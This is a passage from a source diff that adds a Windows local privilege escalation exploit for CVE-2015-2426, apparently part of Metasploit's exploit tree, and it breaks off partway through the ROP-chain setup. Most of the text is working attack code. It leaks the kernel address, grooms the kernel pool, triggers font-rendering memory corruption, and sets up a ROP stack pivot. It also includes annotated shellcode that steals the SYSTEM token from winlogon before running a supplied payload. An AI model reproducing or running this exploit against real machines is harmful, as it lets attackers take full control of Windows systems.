<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||||
|
<CompileAs>Default</CompileAs>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
<CompileAs>CompileAsCpp</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="src\Exploit.cpp" />
|
||||||
|
<ClCompile Include="src\Exploiter.cpp" />
|
||||||
|
<ClCompile Include="src\FontData.cpp" />
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c" />
|
||||||
|
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||||
|
<ClCompile Include="src\Win32kLeaker.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\ReflectiveDLLInjection.h" />
|
||||||
|
<ClInclude Include="src\Exploit.h" />
|
||||||
|
<ClInclude Include="src\Exploiter.h" />
|
||||||
|
<ClInclude Include="src\FontData.h" />
|
||||||
|
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||||
|
<ClInclude Include="src\Win32kLeaker.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<MASM Include="src\MySyscalls.asm" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
58
external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters
vendored
Executable file
58
external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters
vendored
Executable file
|
@ -0,0 +1,58 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\ReflectiveLoader.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\Exploit.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\Win32kLeaker.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\Exploiter.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\FontData.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="src\ReflectiveLoader.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="..\common\ReflectiveDLLInjection.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\FontData.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\Exploiter.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\Exploit.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\Win32kLeaker.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<MASM Include="src\MySyscalls.asm">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</MASM>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,55 @@
|
||||||
|
// Exploit.cpp : Defines the entry point for the console application.
|
||||||
|
//
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
#include "Exploit.h"
|
||||||
|
#include "Win32kLeaker.h"
|
||||||
|
#include "Exploiter.h"
|
||||||
|
#include "FontData.h"
|
||||||
|
|
||||||
|
static VOID ExecutePayload(LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||||
|
lpCode();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID Exploit(LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
// Variables.
|
||||||
|
DWORD cFonts;
|
||||||
|
PVOID pFontData = (PVOID)fontData;
|
||||||
|
DWORD ExAllocatePoolWithTag_offset;
|
||||||
|
ULONGLONG win32kBaseAddr;
|
||||||
|
ULONGLONG ntBaseAddr;
|
||||||
|
|
||||||
|
ExploiterInit();
|
||||||
|
|
||||||
|
// Leak the win32k base address.
|
||||||
|
win32kBaseAddr = LeakWin32kAddress();
|
||||||
|
if (win32kBaseAddr == NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExploiterSetupFirstChain(win32kBaseAddr);
|
||||||
|
ExploiterDoFengShui();
|
||||||
|
|
||||||
|
// Trigger the memory corruption: Render the font and cause memory overwrite.
|
||||||
|
cFonts = 0;
|
||||||
|
HANDLE fh = AddFontMemResourceEx(pFontData, sizeof(fontData), 0, &cFonts);
|
||||||
|
// Clean up: remove the font from memory.
|
||||||
|
RemoveFontMemResourceEx(fh);
|
||||||
|
|
||||||
|
// First Stage: Leak ntoskrnl
|
||||||
|
ExploiterRunFirstChain();
|
||||||
|
ntBaseAddr = ExploiterGetNtBase();
|
||||||
|
|
||||||
|
// Second Stage: elevate privileges
|
||||||
|
ExploiterSetupSecondChain(win32kBaseAddr, ntBaseAddr);
|
||||||
|
ExploiterRunSecondChain();
|
||||||
|
ExpoiterCleanUp();
|
||||||
|
|
||||||
|
// Exetue msf payload
|
||||||
|
ExecutePayload(lpPayload);
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,5 @@
|
||||||
|
#ifndef EXPLOIT_H
|
||||||
|
#define EXPLOIT_H
|
||||||
|
|
||||||
|
VOID Exploit(LPVOID lpPayload);
|
||||||
|
#endif
|
|
@ -0,0 +1,320 @@
|
||||||
|
#include <Windows.h>
|
||||||
|
#include "Exploiter.h"
|
||||||
|
|
||||||
|
static const int AccelArrayBase = 0x43000000;
|
||||||
|
static const int HwndArrayBase = 0x44000000;
|
||||||
|
static const int DcomArrayBase = 0x41000000;
|
||||||
|
static const int PayloadBase = 0x42000000;
|
||||||
|
// Not using const to make the compiler to store
|
||||||
|
// the variables in .data
|
||||||
|
static ULONGLONG win32kPopRaxRet = 0xdeedbeefdeedbe01;
|
||||||
|
static ULONGLONG win32kXchgRaxRsp = 0xdeedbeefdeedbe02;
|
||||||
|
static ULONGLONG win32kExAllocatePoolWithTag = 0xdeedbeefdeedbe03;
|
||||||
|
static ULONGLONG win32kPopRcxRet = 0xdeedbeefdeedbe04;
|
||||||
|
static ULONGLONG win32kDefRaxIntoRcx = 0xdeedbeefdeedbe05;
|
||||||
|
static ULONGLONG win32kWriteRaxIntoRcx = 0xdeedbeefdeedbe06;
|
||||||
|
static ULONGLONG win32kPopRbxRet = 0xdeedbeefdeedbe07;
|
||||||
|
static ULONGLONG win32kRet = 0xdeedbeefdeedbe08;
|
||||||
|
static ULONGLONG win32kMovRaxR11Ret = 0xdeedbeefdeedbe09;
|
||||||
|
static ULONGLONG win32kAddRaxRcxRet = 0xdeedbeefdeedbe0a;
|
||||||
|
static ULONGLONG win32kPopEspRet = 0xdeedbeefdeedbe0b;
|
||||||
|
static ULONGLONG win32kXchgRaxRspAdjust = 0xdeedbeefdeedbe0c;
|
||||||
|
static ULONGLONG win32kCHwndDelete = 0xdeedbeefdeedbe0d;
|
||||||
|
static ULONGLONG ntSetCr4 = 0xdeedbeefdeedbe0e;
|
||||||
|
static ULONGLONG ntExAllocatePoolWithTag = 0xdeedbeefdeedbe0f;
|
||||||
|
|
||||||
|
typedef NTSTATUS(__stdcall *FuncCreateDCompositionHwndTarget) (
|
||||||
|
_In_ HANDLE hWnd,
|
||||||
|
_In_ DWORD dwNum,
|
||||||
|
_Out_ ULONGLONG pMem
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(__stdcall *FuncDestroyDCompositionHwndTarget) (
|
||||||
|
_In_ HANDLE hWnd,
|
||||||
|
_In_ DWORD dwNum
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef LRESULT(WINAPI *FuncDefWindowProcA) (
|
||||||
|
_In_ HWND hWnd,
|
||||||
|
_In_ UINT Msg,
|
||||||
|
_In_ WPARAM wParam,
|
||||||
|
_In_ LPARAM lParam
|
||||||
|
);
|
||||||
|
|
||||||
|
static CHAR sc[] = {
|
||||||
|
'\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack
|
||||||
|
'\x41', '\x51', // push r9 save regs
|
||||||
|
'\x41', '\x52', // push r10
|
||||||
|
'\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)
|
||||||
|
'\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD
|
||||||
|
'\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess
|
||||||
|
'\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink
|
||||||
|
'\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS
|
||||||
|
'\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon)
|
||||||
|
'\x75', '\xe5', // jnz $a no? then keep searching!
|
||||||
|
'\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid
|
||||||
|
'\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000
|
||||||
|
'\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later
|
||||||
|
'\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token
|
||||||
|
'\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address
|
||||||
|
'\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10
|
||||||
|
'\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token
|
||||||
|
'\x41', '\x5A', // pop r10 restore regs
|
||||||
|
'\x41', '\x59', // pop r9
|
||||||
|
'\x41', '\x53', // push r11, pointer near to original stack
|
||||||
|
'\x5C', // pop rsp
|
||||||
|
'\x48', '\x83', '\xec', '\x28', // sub rsp, 0x28, restore original kernel rsp
|
||||||
|
'\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)
|
||||||
|
0
|
||||||
|
};
|
||||||
|
static HWND *pHwnds = NULL;
|
||||||
|
static HACCEL *pAccels = NULL;
|
||||||
|
static FuncCreateDCompositionHwndTarget MyCreateDCompositionHwndTarget = NULL;
|
||||||
|
static FuncDestroyDCompositionHwndTarget MyDestroyDCompositionHwndTarget = NULL;
|
||||||
|
|
||||||
|
|
||||||
|
// WndProc is a callback function that is needed when creating a window.
|
||||||
|
// It does nothing of consequence. However, the exploit relies on overriding
|
||||||
|
// a suitable object (`CreateDCompositionHwndTarget`), which requires a
|
||||||
|
// window. Hence we need to create windows.
|
||||||
|
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
|
||||||
|
FuncDefWindowProcA MyDefWindowProcA;
|
||||||
|
ULONGLONG pMyDefWindowProcA;
|
||||||
|
|
||||||
|
pMyDefWindowProcA = *(ULONGLONG *)(PayloadBase + 0x1950);
|
||||||
|
MyDefWindowProcA = (FuncDefWindowProcA)pMyDefWindowProcA;
|
||||||
|
return MyDefWindowProcA(hwnd, msg, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID ExploiterInit() {
|
||||||
|
LoadLibrary("USER32.dll");
|
||||||
|
HMODULE user32 = GetModuleHandle("USER32.dll");
|
||||||
|
MyCreateDCompositionHwndTarget = (FuncCreateDCompositionHwndTarget)GetProcAddress(user32, "CreateDCompositionHwndTarget");
|
||||||
|
MyDestroyDCompositionHwndTarget = (FuncDestroyDCompositionHwndTarget)GetProcAddress(user32, "DestroyDCompositionHwndTarget");
|
||||||
|
// Allocate memory regions that we use to store various data.
|
||||||
|
VirtualAlloc((LPVOID)DcomArrayBase, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
VirtualAlloc((LPVOID)PayloadBase, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
SecureZeroMemory((LPVOID)PayloadBase, 0x10000);
|
||||||
|
memcpy((LPVOID)PayloadBase, sc, sizeof(sc));
|
||||||
|
|
||||||
|
// Save the function pointer of DefWindowProcA globally while we are still in user-mode.
|
||||||
|
// The callback (WndProc) that runs in kernel mode later cannot call `GetProcAddressWithHash`
|
||||||
|
// any more. Hence, we store this first, so that WndProc can access it directly later.
|
||||||
|
ULONGLONG *pDefWindowProcA = (ULONGLONG *)(PayloadBase + 0x1950);
|
||||||
|
*pDefWindowProcA = (ULONGLONG)GetProcAddress(user32, "DefWindowProcA"); // ntdll's DefWindowProcA's hash
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID ExploiterDoFengShui() {
|
||||||
|
HINSTANCE hThisInstance;
|
||||||
|
ATOM classAtom;
|
||||||
|
WNDCLASSEXA windowClass;
|
||||||
|
HWND hWnd;
|
||||||
|
HACCEL hAccel;
|
||||||
|
LPACCEL lpAccel;
|
||||||
|
// Strings needed.
|
||||||
|
CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 };
|
||||||
|
CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 };
|
||||||
|
CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 };
|
||||||
|
CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 };
|
||||||
|
|
||||||
|
// Initial setup for pool fengshui.
|
||||||
|
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
|
||||||
|
SecureZeroMemory(lpAccel, sizeof(ACCEL));
|
||||||
|
|
||||||
|
// Create many accelerator tables, and store them.
|
||||||
|
pAccels = (HACCEL *)VirtualAlloc((LPVOID)(AccelArrayBase), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
for (INT i = 0; i < 5000; i++) {
|
||||||
|
hAccel = CreateAcceleratorTableA(lpAccel, 1);
|
||||||
|
pAccels[i] = hAccel;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create window handles, and store them.
|
||||||
|
pHwnds = (HWND *)VirtualAlloc((LPVOID)(HwndArrayBase), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
hThisInstance = GetModuleHandleA(NULL);
|
||||||
|
for (INT i = 0; i < 1000; i++) {
|
||||||
|
SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA));
|
||||||
|
wsprintfA(winClass, winClassFmt, i);
|
||||||
|
wsprintfA(winTitle, winTitleFmt, i);
|
||||||
|
|
||||||
|
windowClass.cbSize = sizeof(WNDCLASSEXA);
|
||||||
|
windowClass.style = CS_HREDRAW | CS_VREDRAW;
|
||||||
|
windowClass.lpfnWndProc = (WNDPROC)WndProc;
|
||||||
|
windowClass.hInstance = hThisInstance;
|
||||||
|
windowClass.hIcon = NULL;
|
||||||
|
windowClass.hCursor = NULL;
|
||||||
|
windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;
|
||||||
|
windowClass.lpszMenuName = NULL;
|
||||||
|
windowClass.lpszClassName = winClass;
|
||||||
|
classAtom = RegisterClassExA(&windowClass);
|
||||||
|
hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);
|
||||||
|
|
||||||
|
if (hWnd) {
|
||||||
|
pHwnds[i] = hWnd;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create holes in the series of accelerator tables.
|
||||||
|
for (INT i = 3600; i < 4600; i += 2) {
|
||||||
|
DestroyAcceleratorTable(pAccels[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fill the holes with with DCompositionHwndTarget(s).
|
||||||
|
// (at this point we have a series of alternating DCompositionHwndTarget objects)
|
||||||
|
for (INT i = 0; i < 500; i++) {
|
||||||
|
MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create "adjacent" holes (to the previous holes) in the series of
|
||||||
|
// accelerator tables.
|
||||||
|
for (INT i = 3601; i < 4601; i += 2) {
|
||||||
|
DestroyAcceleratorTable(pAccels[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fill the holes with with DCompositionHwndTarget(s).
|
||||||
|
// (at this point we have a contiguous series of DCompositionHwndTarget objects)
|
||||||
|
for (INT i = 500; i < 1000; i++) {
|
||||||
|
MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create some holes in the contiguous series of DCompositionHwndTarget objects,
|
||||||
|
// that we insert the vulnerable object into.
|
||||||
|
for (INT i = 400; i < 405; i++) {
|
||||||
|
MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clean up for the heap fengshui performed earlier (for cleanliness, reliability).
|
||||||
|
VOID ExpoiterCleanUp() {
|
||||||
|
for (INT i = 0; i < 5000; i++) {
|
||||||
|
DestroyAcceleratorTable(pAccels[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup stack pivot and adjustment, also the ROP chain 1 to etrieve base address
|
||||||
|
// of `ntoskrnl`.
|
||||||
|
VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) {
|
||||||
|
// Stack pivot and adjustment.
|
||||||
|
//
|
||||||
|
// IMPORTANT NOTE.
|
||||||
|
//
|
||||||
|
// This vTable is actually accessed twice as part of the code flow.
|
||||||
|
// The first access is to the 2nd method in the vTable, at [RAX+8] (*).
|
||||||
|
// The second access is to the 1st method in the vTable, at [RAX] (**).
|
||||||
|
//
|
||||||
|
// (*) First access
|
||||||
|
//
|
||||||
|
// As mentioned, in the code flow, there is a CALL [RAX+8], where RAX is the
|
||||||
|
// address of the fake vTable (0x42005000).
|
||||||
|
//
|
||||||
|
// The call places us at [0x42005000+8], which is the xchg instruction
|
||||||
|
// (stack pivot). At this point after the xchg, RSP is pointing to 0x42005000.
|
||||||
|
// The next instruction of the gadget is RET, which will exec. POP RAX.
|
||||||
|
// This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the
|
||||||
|
// start of ROP chain 1.
|
||||||
|
//
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret <-- RAX
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kXchgRaxRsp; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to.
|
||||||
|
//
|
||||||
|
// --- End stack pivot and adjustment ---
|
||||||
|
|
||||||
|
// ROP chain 1: Retrieve base address of `ntoskrnl`.
|
||||||
|
//
|
||||||
|
// When ROP chain 1 exits, RBX will hold the address of the our
|
||||||
|
// (fake) vTable. And 0x42000100 will hold the (leaked) address of
|
||||||
|
// `ntoskrnl!ExAllocatePoolWithTag`.
|
||||||
|
//
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret (RAX is source for our write)
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kExAllocatePoolWithTag; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret (RCX is destination for our write)
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5028) = PayloadBase + 0x100; // pop into rcx (memory to write leaked address)
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5030) = win32kBaseAddr + win32kDefRaxIntoRcx; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])
|
||||||
|
|
||||||
|
// (**) Second access
|
||||||
|
//
|
||||||
|
// The second time the vTable is accessed (described above), it will
|
||||||
|
// try to execute `POP RAX # RET`, which is undesirable. Hence, as part of
|
||||||
|
// the *first* ROP chain, we override the vTable again, so that the second
|
||||||
|
// access to it will be okay.
|
||||||
|
//
|
||||||
|
// When the code flow resumes after ROP chain 1 ends, the code will
|
||||||
|
// use *RBX for its second access to the vTable. Hence, we want to
|
||||||
|
// place our own value into RBX. Therefore, we `POP RBX`, which places
|
||||||
|
// 0x42005100 into RBX. 0x42005100 is yet another (unused) memory
|
||||||
|
// region that we control. We will construct a new fake vTable at 0x42005100.
|
||||||
|
//
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5038) = win32kBaseAddr + win32kPopRbxRet; // pop rbx # ret
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5040) = PayloadBase + 0x5100; // this will clobber the existing vTable object pointer (RBX) -------------------------------
|
||||||
|
// |
|
||||||
|
// Setup the new fake vTable at 0x42005100. We don't do anything interesting |
|
||||||
|
// with the second call. We just want it to return nicely. |
|
||||||
|
